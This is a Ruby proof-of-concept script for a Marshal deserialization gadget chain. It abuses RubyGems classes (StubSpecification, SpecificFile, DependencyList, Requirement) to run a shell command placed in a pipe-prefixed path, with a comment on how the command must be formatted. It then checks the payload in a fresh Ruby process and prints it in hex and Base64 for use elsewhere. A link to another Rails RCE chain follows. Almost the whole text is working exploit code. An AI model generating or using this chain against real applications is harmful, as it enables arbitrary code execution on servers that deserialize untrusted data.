class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

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